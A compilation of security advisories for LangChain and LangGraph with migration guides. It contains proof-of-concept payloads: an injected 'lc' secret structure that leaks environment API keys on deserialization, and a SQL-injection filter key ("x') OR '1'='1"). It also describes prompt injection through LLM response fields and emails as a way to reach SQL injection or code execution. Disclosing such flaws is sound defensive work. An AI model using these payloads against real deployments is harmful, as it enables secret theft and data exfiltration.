// Attacker injects secret structure into user-controlled data const attackerPayload = JSON.stringify({ userdata: { lc: 1, type: "secret", id: ["OPENAIAPIKEY"], }, });

process.env.OPENAIAPIKEY = "sk-secret-key-12345";

// With secretsFromEnv: true, the secret is extracted const deserialized = await load(attackerPayload, { secretsFromEnv: true });

console.log(deserialized.userdata); // "sk-secret-key-12345" - SECRET LEAKED!

Security hardening changes

This patch introduces the following changes to load():

1. secretsFromEnv default changed to false: Disables automatic secret loading from environment variables. Secrets not found in secretsMap now throw an error instead of being loaded from process.env. This fail-safe behavior ensures missing secrets are caught immediately rather than silently continuing with null. 2. New maxDepth parameter (defaults to 50): Protects against denial-of-service attacks via deeply nested JSON structures that could cause stack overflow. 3. Escape mechanism in toJSON(): User-controlled objects containing 'lc' keys are now wrapped in {"lcescaped": {...}} during serialization and unwrapped as plain data during deserialization. 4. JSDoc security warnings: All import map options (importMap, optionalImportsMap, optionalImportEntrypoints) now include security warnings about never populating them from user input.

Migration guide

No changes needed for most users

If you're deserializing standard LangChain types (messages, documents, prompts) using the core import map, your code will work without changes:

typescript import { load } from "@langchain/core/load";

// Works with default settings const obj = await load(serializedData);

For secrets from environment

secretsFromEnv now defaults to false, and missing secrets throw an error. If you need to load secrets:

typescript import { load } from "@langchain/core/load";

// Provide secrets explicitly (recommended) const obj = await load(serializedData, { secretsMap: { OPENAIAPIKEY: process.env.OPENAIAPIKEY }, });

// Or explicitly opt-in to load from env (only use with trusted data) const obj = await load(serializedData, { secretsFromEnv: true });

Warning: Only enable secretsFromEnv if you trust the serialized data. Untrusted data could extract any environment variable.

Note: If a secret reference is encountered but not found in secretsMap (and secretsFromEnv is false or the secret is not in the environment), an error is thrown. This fail-safe behavior ensures you're aware of missing secrets rather than silently receiving null values.

For deeply nested structures

If you have legitimate deeply nested data that exceeds the default depth limit of 50:

typescript import { load } from "@langchain/core/load";

const obj = await load(serializedData, { maxDepth: 100 });

For custom import maps

If you provide custom import maps, ensure they only contain trusted modules:

typescript import { load } from "@langchain/core/load"; import as myModule from "./my-trusted-module";

// GOOD - explicitly include only trusted modules const obj = await load(serializedData, { importMap: { mymodule: myModule }, });

// BAD - never populate from user input const obj = await load(serializedData, { importMap: userProvidedImports, // DANGEROUS! });

Summary

A serialization injection vulnerability exists in LangChain's dumps() and dumpd() functions. The functions do not escape dictionaries with 'lc' keys when serializing free-form dictionaries. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data.

Attack surface

The core vulnerability was in dumps() and dumpd(): these functions failed to escape user-controlled dictionaries containing 'lc' keys. When this unescaped data was later deserialized via load() or loads(), the injected structures were treated as legitimate LangChain objects rather than plain user data.

This escaping bug enabled several attack vectors:

1. Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like metadata, additionalkwargs, or responsemetadata 2. Class instantiation within trusted namespaces: Injected manifests could instantiate any Serializable subclass, but only within the pre-approved trusted namespaces (langchaincore, langchain, langchaincommunity). This includes classes with side effects in init (network calls, file operations, etc.). Note that namespace validation was already enforced before this patch, so arbitrary classes outside these trusted namespaces could not be instantiated.

Security hardening

This patch fixes the escaping bug in dumps() and dumpd() and introduces new restrictive defaults in load() and loads(): allowlist enforcement via allowedobjects="core" (restricted to serialization mappings), secretsfromenv changed from True to False, and default Jinja2 template blocking via initvalidator. These are breaking changes for some use cases.

Who is affected?

Applications are vulnerable if they:

1. Use astreamevents(version="v1") — The v1 implementation internally uses vulnerable serialization. Note: astreamevents(version="v2") is not vulnerable. 2. Use Runnable.astreamlog() — This method internally uses vulnerable serialization for streaming outputs. 3. Call dumps() or dumpd() on untrusted data, then deserialize with load() or loads() — Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains 'lc' key structures. 4. Deserialize untrusted data with load() or loads() — Directly deserializing untrusted data that may contain injected 'lc' structures. 5. Use RunnableWithMessageHistory — Internal serialization in message history handling. 6. Use InMemoryVectorStore.load() to deserialize untrusted documents. 7. Load untrusted generations from cache using langchain-community caches. 8. Load untrusted manifests from the LangChain Hub via hub.pull. 9. Use StringRunEvaluatorChain on untrusted runs. 10. Use createlcstore or createkvdocstore with untrusted documents. 11. Use MultiVectorRetriever with byte stores containing untrusted documents. 12. Use LangSmithRunChatLoader with runs containing untrusted messages.

The most common attack vector is through LLM response fields like additionalkwargs or responsemetadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations.

Impact

Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENVVAR"]} to load environment variables during deserialization (when secretsfromenv=True, which was the old default). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within trusted namespaces with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations.

Key severity factors:

- Affects the serialization path - applications trusting their own serialization output are vulnerable - Enables secret extraction when combined with secretsfromenv=True (the old default) - LLM responses in additionalkwargs can be controlled via prompt injection

Exploit example

python from langchaincore.load import dumps, load import os

Attacker injects secret structure into user-controlled data attackerdict = { "userdata": { "lc": 1, "type": "secret", "id": ["OPENAIAPIKEY"] } }

serialized = dumps(attackerdict) # Bug: does NOT escape the 'lc' key

os.environ["OPENAIAPIKEY"] = "sk-secret-key-12345" deserialized = load(serialized, secretsfromenv=True)

print(deserialized["userdata"]) # "sk-secret-key-12345" - SECRET LEAKED!

Security hardening changes (breaking changes)

This patch introduces three breaking changes to load() and loads():

1. New allowedobjects parameter (defaults to 'core'): Enforces allowlist of classes that can be deserialized. The 'all' option corresponds to the list of objects specified in mappings.py while the 'core' option limits to objects within langchaincore. We recommend that users explicitly specify which objects they want to allow for serialization/deserialization. 2. secretsfromenv default changed from True to False: Disables automatic secret loading from environment 3. New initvalidator parameter (defaults to defaultinitvalidator): Blocks Jinja2 templates by default

Migration guide

No changes needed for most users

If you're deserializing standard LangChain types (messages, documents, prompts, trusted partner integrations like ChatOpenAI, ChatAnthropic, etc.), your code will work without changes:

python from langchaincore.load import load

Uses default allowlist from serialization mappings obj = load(serializeddata)

For custom classes

If you're deserializing custom classes not in the serialization mappings, add them to the allowlist:

python from langchaincore.load import load from mypackage import MyCustomClass

Specify the classes you need obj = load(serializeddata, allowedobjects=[MyCustomClass])

For Jinja2 templates

Jinja2 templates are now blocked by default because they can execute arbitrary code. If you need Jinja2 templates, pass initvalidator=None:

python from langchaincore.load import load from langchaincore.prompts import PromptTemplate

obj = load( serializeddata, allowedobjects=[PromptTemplate], initvalidator=None )

[!WARNING] Only disable initvalidator if you trust the serialized data. Jinja2 templates can execute arbitrary Python code.

For secrets from environment

secretsfromenv now defaults to False. If you need to load secrets from environment variables:

python from langchaincore.load import load

obj = load(serializeddata, secretsfromenv=True)

Credits

Dumps bug was reported by @yardenporat Changes for security hardening due to findings from @0xn3va and @VladimirEliTokarev

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The metadatapredicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

python VULNERABLE CODE (before fix) for querykey, queryvalue in metadatafilter.items(): operator, paramvalue = wherevalue(queryvalue) predicates.append( f"jsonextract(CAST(metadata AS TEXT), '$.{querykey}') {operator}" ) paramvalues.append(paramvalue)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix: python from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.fromconnstring("checkpoints.db")

Attacker controls the filter keys maliciousfilter = {"x') OR '1'='1": "dummy"}

Returns ALL checkpoints, bypassing filtering results = list(saver.list(None, filter=maliciousfilter))

Resulting SQL: sql WHERE jsonextract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ? -- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application: - Runs a custom server with SqliteSaver checkpointer - Exposes an endpoint for fetching checkpoint history (e.g., via getstatehistory()) - Accepts metadata filter keys from untrusted sources

Example vulnerable code: python Custom server endpoint - User controls filter key names - DANGEROUS @app.post("/api/history") def gethistory(request): filterfield = request.json.get("filterfield") # Untrusted input filtervalue = request.json.get("filtervalue")

# VULNERABLE: Attacker can bypass access controls history = list(graph.getstatehistory( config, filter={filterfield: filtervalue} )) return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite 2. Audit your code for locations where filter keys come from untrusted sources

A SQL injection vulnerability exists in the langchain-ai/langchain repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

The HTMLSectionSplitter class in langchain-text-splitters is vulnerable to XML External Entity (XXE) attacks due to unsafe XSLT parsing. This vulnerability arises because the class allows the use of arbitrary XSLT stylesheets, which are parsed using lxml.etree.parse() and lxml.etree.XSLT() without any hardening measures. In lxml versions up to 4.9.x, external entities are resolved by default, allowing attackers to read arbitrary local files or perform outbound HTTP(S) fetches. In lxml versions 5.0 and above, while entity expansion is disabled, the XSLT document() function can still read any URI unless XSLTAccessControl is applied. This vulnerability allows remote attackers to gain read-only access to any file the LangChain process can reach, including sensitive files such as SSH keys, environment files, source code, or cloud metadata. No authentication, special privileges, or user interaction are required, and the issue is exploitable in default deployments that enable custom XSLT.

Insecure permissions in LangChain-ChatGLM-Webui commit ef829 allows attackers to arbitrarily view and download sensitive files via supplying a crafted request.

langchain-ai v0.3.51 was discovered to contain an indirect prompt injection vulnerability in the GmailToolkit component. This vulnerability allows attackers to execute arbitrary code and compromise the application via a crafted email message. NOTE: this is disputed by the Supplier because the code-execution issue was introduced by user-written code that does not adhere to the LangChain security practices.

A Server-Side Request Forgery (SSRF) vulnerability exists in the RequestsToolkit component of the langchain-community package (specifically, langchaincommunity.agenttoolkits.openapi.toolkit.RequestsToolkit) in langchain-ai/langchain version 0.0.27. This vulnerability occurs because the toolkit does not enforce restrictions on requests to remote internet addresses, allowing it to also access local addresses. As a result, an attacker could exploit this flaw to perform port scans, access local services, retrieve instance metadata from cloud environments (e.g., Azure, AWS), and interact with servers on the local network. This issue has been fixed in version 0.0.28.

A vulnerability in the GraphCypherQAChain class of langchain-ai/langchain version 0.2.5 allows for SQL injection through prompt injection. This vulnerability can lead to unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database.

A vulnerability in the GraphCypherQAChain class of langchain-ai/langchainjs versions 0.2.5 and all versions with this class allows for prompt injection, leading to SQL injection. This vulnerability permits unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database.

A path traversal vulnerability exists in the getFullPath method of langchain-ai/langchainjs version 0.2.5. This vulnerability allows attackers to save files anywhere in the filesystem, overwrite existing text files, read .txt files, and delete files. The vulnerability is exploited through the setFileContent, getParsedFile, and mdelete methods, which do not properly sanitize user input.

langchainexperimental (aka LangChain Experimental) 0.1.17 through 0.3.0 for LangChain allows attackers to execute arbitrary code through sympy.sympify (which uses eval) in LLMSymbolicMathChain. LLMSymbolicMathChain was introduced in fcccde406dd9e9b05fc9babcbeb9ff527b0ec0c6 (2023-10-05).

A vulnerability in the FAISS.deserializefrombytes function of langchain-ai/langchain allows for pickle deserialization of untrusted data. This can lead to the execution of arbitrary commands via the os.system function. The issue affects versions prior to 0.2.4.

Versions of the package langchain-experimental from 0.0.15 and before 0.0.21 are vulnerable to Arbitrary Code Execution when retrieving values from the database, the code will attempt to call 'eval' on all values. An attacker can exploit this vulnerability and execute arbitrary python code if they can control the input prompt and the server is configured with VectorSQLDatabaseChain.

Notes:

Impact on the Confidentiality, Integrity and Availability of the vulnerable component:

Confidentiality: Code execution happens within the impacted component, in this case langchain-experimental, so all resources are necessarily accessible.

Integrity: There is nothing protected by the impacted component inherently. Although anything returned from the component counts as 'information' for which the trustworthiness can be compromised.

Availability: The loss of availability isn't caused by the attack itself, but it happens as a result during the attacker's post-exploitation steps.

Impact on the Confidentiality, Integrity and Availability of the subsequent system:

As a legitimate low-privileged user of the package (PR:L) the attacker does not have more access to data owned by the package as a result of this vulnerability than they did with normal usage (e.g. can query the DB). The unintended action that one can perform by breaking out of the app environment and exfiltrating files, making remote connections etc. happens during the post exploitation phase in the subsequent system - in this case, the OS.

AT:P: An attacker needs to be able to influence the input prompt, whilst the server is configured with the VectorSQLDatabaseChain plugin.

langchainexperimental (aka LangChain Experimental) before 0.0.61 for LangChain provides Python REPL access without an opt-in step. NOTE; this issue exists because of an incomplete fix for CVE-2024-27444.